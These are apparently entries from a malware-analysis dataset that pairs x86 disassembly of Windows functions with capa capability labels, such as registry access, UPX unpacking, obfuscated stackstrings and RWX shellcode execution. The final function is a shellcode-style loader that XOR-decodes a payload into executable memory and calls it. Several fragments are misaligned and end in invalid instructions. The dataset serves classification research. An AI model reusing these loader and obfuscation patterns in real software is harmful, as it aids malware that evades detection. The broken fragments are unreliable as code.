joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100289d0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
mov eax, dword [0x100330b4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x10035b0c]
test dword [ebp + 8], eax
je 0x10028a7a
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x808]
push eax
call fcn.1001a6e4
xor eax, eax
add esp, 0xc
mov word [ebp - 8], ax
mov eax, dword [0x10035b08]
test eax, eax
je 0x10028a6d
lea ecx, [ebp - 0x808]
push ecx
push eax
call fcn.1001a6e4
mov eax, dword [0x100330ac]
pop ecx
pop ecx
test eax, eax
jle 0x10028a7a
push esi
mov esi, dword [0x10035b10]
push edi
mov edi, dword [0x10035b14]
cdq
push edx
push eax
push edi
push esi
call fcn.10029420
add esi, 1
mov dword [0x10035b10], esi
adc edi, 0
or eax, edx
mov dword [0x10035b14], edi
pop edi
pop esi
jne 0x10028a7a
push dword [0x10035b08]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
pop ecx
jmp 0x10028a7a
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10028d50
leave
ret
Function at 0x4224e0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x15000]
push edi
jmp 0x4224fa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x422501
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4224f0
mov eax, 1
add ebx, ebx
jne 0x422513
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x422508
jne 0x422524
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x422508
xor ecx, ecx
sub eax, 3
jb 0x422538
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4225aa
mov ebp, eax
add ebx, ebx
jne 0x422543
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x422550
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x422574
inc ecx
add ebx, ebx
jne 0x422560
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x422555
jne 0x422571
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x422555
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x422594
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x422585
jmp 0x4224f6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x422594
add edi, ecx
jmp 0x4224f6
pop esi
mov edi, esi
mov ecx, 0x83b
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4225b2
cmp byte [edi], 2
jne 0x4225b2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4225b7
lea edi, [esi + 0x20000]
mov eax, dword [edi]
or eax, eax
je 0x42262f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x234cc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x23594]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4225e4
mov ecx, edi
jns 0x422613
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x23598]
or eax, eax
je 0x422629
mov dword [ebx], eax
add ebx, 4
jmp 0x422601
call dword [esi + 0x235a8]
mov ebp, dword [esi + 0x2359c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x422663
sub esp, 0xffffff80
jmp 0x412f28
Function at 0x12002d3d
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 2
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x12002dbb
push ebx
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x12002dba
push edi
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test edi, edi
jbe 0x12002db7
push edi
push 0x42
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x12002db7
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push ebx
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push edi
push eax
push dword [ebp - 4]
call sub.MSVCR90.dll_memcpy
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
call dword [sym.imp.GDI32.dll_DeleteObject]
mov eax, esi
jmp 0x12002db9
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x12004f6b
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, ecx
test esi, esi
jne 0x12004f7e
push 0xd
pop eax
jmp 0x12004fa6
push edi
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
add esi, eax
add edi, eax
cmp eax, 1
jne 0x12004f81
push edi
push dword [ebp + 0xc]
push 7
push 0
push dword [ebp + 8]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x12005895
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov bl, 0x26
stosb byte es:[edi], al
lea eax, [ebp - 0x58]
push eax
call fcn.12005600
mov esi, dword [ebp + 0xc]
push eax
push esi
push dword [ebp + 8]
call fcn.120055b5
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
push dword [ebx]
sal bh, cl
int1
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x120058de
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
ror byte [eax + 0x45c6c15d], 0xc2
in al, dx

Function at 0x120058ea
Capabilities:
Contain obfuscated stackstrings

Disassembly:
ror byte [eax + 0x45c6c15d], 0xc2
in al, dx
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.120055f0
invalid
Function at 0x120059db
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.12005600
push eax
push esi
push dword [ebp + 8]
call fcn.120055b5
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.12005600
push eax
push esi
push dword [ebp + 8]
call fcn.120055b5
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.120055f0
xor eax, dword [ebp - 0xe]
or byte [eax - 0x8363], cl
dec dword [eax - 0x8263]
inc esi
test dword [esi - 1], edi
invalid

Function at 0x12005e48
Capabilities:
Contain obfuscated stackstrings

Disassembly:
dec edx
mov byte [ebp - 0x34a], 0x46
mov byte [ebp - 0x349], 0x40
mov byte [ebp - 0x348], 0x56
mov byte [ebp - 0x347], 0x56
mov byte [ebp - 0x346], 0x6d
mov byte [ebp - 0x345], 0x40
mov byte [ebp - 0x344], 0x44
mov byte [ebp - 0x343], 0x55
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
call fcn.12005600
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.120055b5
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.12005600
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.120055b5
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
invalid
Function at 0x12008491
Capabilities:
Contain obfuscated stackstrings

Disassembly:
test dword [esp + edi*8 - 1], edi
inc dword [eax + eax]
add byte [eax], al
mov eax, ecx
lea ecx, [eax + 4]
mov dword [ecx], 0xc0000001
mov dword [eax], 0x120018ec
jmp 0x12005eb7

Function at 0x1200c2f6
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x12001cb4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x7f02
push 0
mov esi, ecx
call dword [sym.imp.USER32.dll_LoadCursorA]
push eax
call dword [sym.imp.USER32.dll_SetCursor]
push 0x480
push dword [esi + 4]
lea ebx, [esi + 0x2c]
call dword [sym.imp.USER32.dll_GetDlgItem]
push 0x12001ba4
lea ecx, [esi + 0x38]
mov dword [ebx], eax
call fcn.12009f4d
push dword [ebx]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
test eax, eax
jne 0x1200c418
mov byte [ebp - 0x10c], al
lea eax, [ebp - 0x10c]
push eax
mov edi, 0x104
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov dword [ebp - 0x110], eax
test eax, eax
je 0x1200c3c6
cmp eax, edi
jge 0x1200c3c6
mov eax, dword [esi + 0x14]
add eax, 0x4c
push dword [eax]
call dword [sym.imp.OLEAUT32.dll_VariantInit]
add eax, dword [ebp - 0x110]
lea edi, [eax + eax + 0xc]
mov eax, edi
call fcn.1200dedd
mov eax, dword [esi + 0x14]
mov dword [ebp - 0x110], esp
push dword [eax + 0x4c]
lea eax, [ebp - 0x10c]
push eax
push 0x12001b98
push 0xffffffffffffffff
shr edi, 1
push edi
push dword [ebp - 0x110]
call dword [sym.imp.MSVCR90.dll__snprintf_s]
add esp, 0x18
jmp 0x1200c40a
mov eax, dword [esi + 0x14]
add eax, 0x4c
push dword [eax]
call dword [sym.imp.OLEAUT32.dll_VariantInit]
add eax, dword [ebp - 0x110]
lea edi, [eax + eax + 0xa]
mov eax, edi
call fcn.1200dedd
mov eax, dword [esi + 0x14]
mov dword [ebp - 0x110], esp
push dword [eax + 0x4c]
shr edi, 1
push 0x12001b90
push 0xffffffffffffffff
push edi
push dword [ebp - 0x110]
call dword [sym.imp.MSVCR90.dll__snprintf_s]
add esp, 0x14
push dword [ebp - 0x110]
push dword [ebx]
call dword [sym.imp.USER32.dll_SetWindowTextA]
mov ecx, ebx
call fcn.1200c13c
xor eax, eax
lea esp, [ebp - 0x11c]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1200d20d
leave
ret
Function at 0x1200d159
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0x12001cd4
push 0x12001cb8
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x1200d18e
push 0
push 0
push 1
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call esi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov esi, dword [ebp - 8]
xor esi, dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor esi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [ebp - 0x10]
xor eax, dword [ebp - 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor esi, eax
lea eax, [ebp - 4]
push eax
push 0x40
push 4
mov ebx, 0x12001cb4
push ebx
call edi
mov dword [0x12001cb4], esi
test esi, esi
jne 0x1200d1f2
mov dword [0x12001cb4], 0xbb40e64e
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 4
push ebx
call edi
pop edi
pop esi
mov dword [0x12011878], 0x44bf19b1
pop ebx
leave
ret

Function at 0x1200d20d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x12001cb4]
jne 0x1200e1dd
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x12011b80], eax
mov dword [0x12011b7c], ecx
mov dword [0x12011b78], edx
mov dword [0x12011b74], ebx
mov dword [0x12011b70], esi
mov dword [0x12011b6c], edi
mov word [0x12011b98], ss
mov word [0x12011b8c], cs
mov word [0x12011b68], ds
mov word [0x12011b64], es
mov word [0x12011b60], fs
mov word [0x12011b5c], gs
pushfd
pop dword [0x12011b90]
mov eax, dword [ebp]
mov dword [0x12011b84], eax
mov eax, dword [ebp + 4]
mov dword [0x12011b88], eax
lea eax, [ebp + 8]
mov dword [0x12011b94], eax
mov eax, dword [ebp - 0x320]
mov dword [0x12011ad0], 0x10001
mov eax, dword [0x12011b88]
mov dword [0x12011a84], eax
mov dword [0x12011a78], 0xc0000409
mov dword [0x12011a7c], 1
mov eax, dword [0x12001cb4]
mov dword [ebp - 0x328], eax
mov eax, dword [0x12011878]
mov dword [ebp - 0x324], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x12011ac8], eax
push 1
call sub.MSVCR90.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0x12001ee4
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x12011ac8], 0
jne 0x1200e2c9
push 1
call sub.MSVCR90.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
leave
ret
Function at 0x1200d26e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
xor ebx, ebx
push edi
lea ecx, [ebp - 8]
mov dword [ebp - 8], ebx
call fcn.1200d257
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
mov edi, 0x20019
push edi
push ebx
push 0x12001d14
push SysReAllocString
call esi
test eax, eax
jne 0x1200d317
lea ecx, [ebp - 4]
mov dword [ebp - 4], ebx
call fcn.1200d257
push eax
push edi
push ebx
push dword [ebp + 8]
push dword [ebp - 8]
call esi
test eax, eax
jne 0x1200d309
push 4
pop esi
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push ebx
push 0x12001cfc
push dword [ebp - 4]
mov dword [ebp + 8], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1200d309
cmp dword [ebp + 8], esi
jne 0x1200d309
mov edi, dword [ebp - 0xc]
cmp edi, 3
ja 0x1200d309
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 4], ebx
je 0x1200d2fb
push dword [ebp - 4]
call esi
cmp dword [ebp - 8], ebx
je 0x1200d305
push dword [ebp - 8]
call esi
mov eax, edi
jmp 0x1200d327
cmp dword [ebp - 4], ebx
je 0x1200d317
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 8], ebx
je 0x1200d325
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x1200d32e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
cmp byte [0x12011a38], 0
je 0x1200d343
mov eax, dword [0x12011a34]
leave
ret
and dword [ebp - 4], 0
push ebx
push esi
push edi
lea ecx, [ebp - 4]
call fcn.1200d257
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
mov ebx, 0x20019
push ebx
push 0
push 0x12001d58
mov edi, SysReAllocString
push edi
call esi
test eax, eax
jne 0x1200d3a4
lea eax, [ebp - 8]
push eax
push 0x12011a34
push 0
push 0
push dword [0x12011880]
mov dword [ebp - 8], 4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1200d3a4
cmp dword [ebp - 8], 4
jne 0x1200d3a4
cmp dword [ebp - 4], eax
jmp 0x1200d3e9
lea ecx, [ebp - 4]
call fcn.1200d257
push eax
push ebx
xor ebx, ebx
push ebx
push 0x12001d20
push edi
call esi
test eax, eax
jne 0x1200d405
push 4
pop esi
lea eax, [ebp - 8]
push eax
push 0x12011a34
push ebx
push ebx
push dword [0x12011880]
mov dword [ebp - 8], esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1200d405
cmp dword [ebp - 8], esi
jne 0x1200d405
cmp dword [ebp - 4], ebx
mov esi, dword [0x12011a34]
mov byte [0x12011a38], 1
je 0x1200d401
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x1200d422
mov dword [0x12011a34], ebx
mov byte [0x12011a38], 1
cmp dword [ebp - 4], ebx
je 0x1200d420
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401090
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 1
call sym.__configure_narrow_argv
call sym.__initialize_narrow_environment
call sym.___p___argc
mov esi, dword [eax]
call sym.___p___argv
mov edi, dword [eax]
call sym.__get_initial_narrow_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
inc eax
mov dword [esp], eax
call sym.__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call sym._main
mov dword [esp], eax
call sym._exit
nop
nop
nop
nop
nop

Function at 0x401100
Capabilities:
Accept command line arguments

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x78
call sym.___main
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov ebx, eax
movzx eax, byte [eax]
test al, al
je 0x40118d
cmp al, 9
je 0x401180
cmp al, 0x20
je 0x401180
mov dword [ebp - 0x6c], 0
xor edi, edi
lea esi, [esi]
cmp al, 0x5c
je 0x4011e8
cmp al, 0x22
je 0x4011f0
mov dword [ebp - 0x6c], 0
movzx eax, byte [ebx + 1]
inc ebx
test al, al
je 0x40118d
cmp al, 9
sete cl
cmp al, 0x20
mov esi, ecx
sete cl
mov edx, esi
or dl, cl
je 0x401140
test edi, 1
jne 0x401140
lea esi, [esi]
movzx eax, byte [ebx + 1]
inc ebx
cmp al, 9
je 0x401180
cmp al, 0x20
je 0x401180
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_GetStartupInfoA]
sub esp, 4
test byte [ebp - 0x30], 1
jne 0x4011a8
mov word [ebp - 0x2c], 1
movzx esi, word [ebp - 0x2c]
mov dword [esp], 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._WinMain_16
sub esp, 0x10
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
inc dword [ebp - 0x6c]
jmp 0x401157
and dword [ebp - 0x6c], 1
jne 0x401150
xor edi, 1
jmp 0x401157
Function at 0x40aeb8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
xor eax, eax
mov edx, eax
push esi
mov esi, dword [ebp + 8]
and ecx, 0xfffffffc
jbe 0x40aefc
rol eax, 5
xor eax, dword [edx + esi]
add edx, 4
imul eax, eax, 0x9e3779b9
rol eax, 5
xor eax, 4
imul eax, eax, 0x9e3779b9
cmp edx, ecx
jb 0x40aecb
jmp 0x40aefc
movsx ecx, byte [edx + esi]
rol eax, 5
xor eax, ecx
imul eax, eax, 0x9e3779b9
inc edx
cmp edx, dword [ebp + 0xc]
jb 0x40aeec
pop esi
pop ebp
ret

Function at 0x40bc54
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 1
lea esi, [ebx - 1]
push 0x2000
not esi
push ebx
and esi, 0xf0deafff
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
cmp edi, esi
jne 0x40bc89
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp esi, dword [ebp - 0x18]
jb 0x40bcb3
lea eax, [esi + ebx]
cmp eax, dword [ebp - 0x18]
jb 0x40bcb3
test edi, edi
je 0x40bc80
push 0x8000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x40bc80
test edi, edi
je 0x40bcbb
mov eax, edi
jmp 0x40bc82
push 1
push 0x2000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x40bc82
mov esi, 0xc3
push esi
push str.c:_builds_moz2_slave_m_in_w32_d_0000000000000000000_build_src_mfbt_Poison.cpp
push str.no_usable_poison_region_identified
call fcn.0040e9bd
add esp, 0xc
int3
Function at 0x40e9f1
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 8]
push eax
mov dword [sym.TestCountPopulation.exe_gMozillaPoisonSize], eax
call fcn.0040bc54
pop ecx
mov ecx, dword [sym.TestCountPopulation.exe_gMozillaPoisonSize]
mov dword [sym.TestCountPopulation.exe_gMozillaPoisonBase], eax
test ecx, ecx
je 0x40ea29
shr ecx, 1
dec ecx
add eax, ecx
mov dword [sym.TestCountPopulation.exe_gMozillaPoisonValue], eax
mov esp, ebp
pop ebp
ret
Function at 0x10004ddb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x10004dea
pop dword [ebp - 0x48]
mov eax, 0x4349df26
add eax, 0xccb66ec4
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x5130a17b
sub dword [ebp - 0x58], 0x2de5c30
mov dword [ebp - 0x54], 0x489d8f66
sub dword [ebp - 0x54], 0x166a4321
mov dword [ebp - 0x50], 0xb6e2db5e
add dword [ebp - 0x50], 0x956968d0
mov dword [ebp - 0x4c], 0xef11169c
add dword [ebp - 0x4c], 0x10eee964
lea eax, [ebp - 0x58]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x7d1049
sub dword [ebp - 0x58], 0x8c0aa6f3
mov dword [ebp - 0x54], 0xd04204b2
sub dword [ebp - 0x54], 0x8ed5a33d
mov dword [ebp - 0x50], 0xd45da6ad
sub dword [ebp - 0x50], 0x70ee3a41
mov dword [ebp - 0x4c], 0x4d9d2a1b
sub dword [ebp - 0x4c], 0x4d9d2a1b
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0xf8291f17
add eax, 0x17d880f5
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x38c0e
push 0
call eax
mov ecx, 0x62fee65a
add ecx, 0x9d015ba2
xor edx, edx
add edx, eax
mov edi, 0x9e4a3bee
add edi, 0x71b80e12
add edi, dword [ebp - 0x48]
mov esi, 0x45393001
sub esi, 0x461f1c70
sub dword [ebp - 0x28], ebx
mov ebx, dword [edi]
xor ebx, esi
sub dword [ebp - 0x14], ebx
mov dword [edx], ebx
sub dword [ebp - 0x18], 0x70ce9eaa
add edx, 4
add edi, 0xfe4b7457
sub edi, 0xfe4b7453
loop 0x10004f09
add eax, 0x192c01ed
add eax, 0xe6d4f8d6
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x68618d23
sub ecx, 0x58618d23
add ecx, dword [ebp - 0x48]
call ebx
leave
ret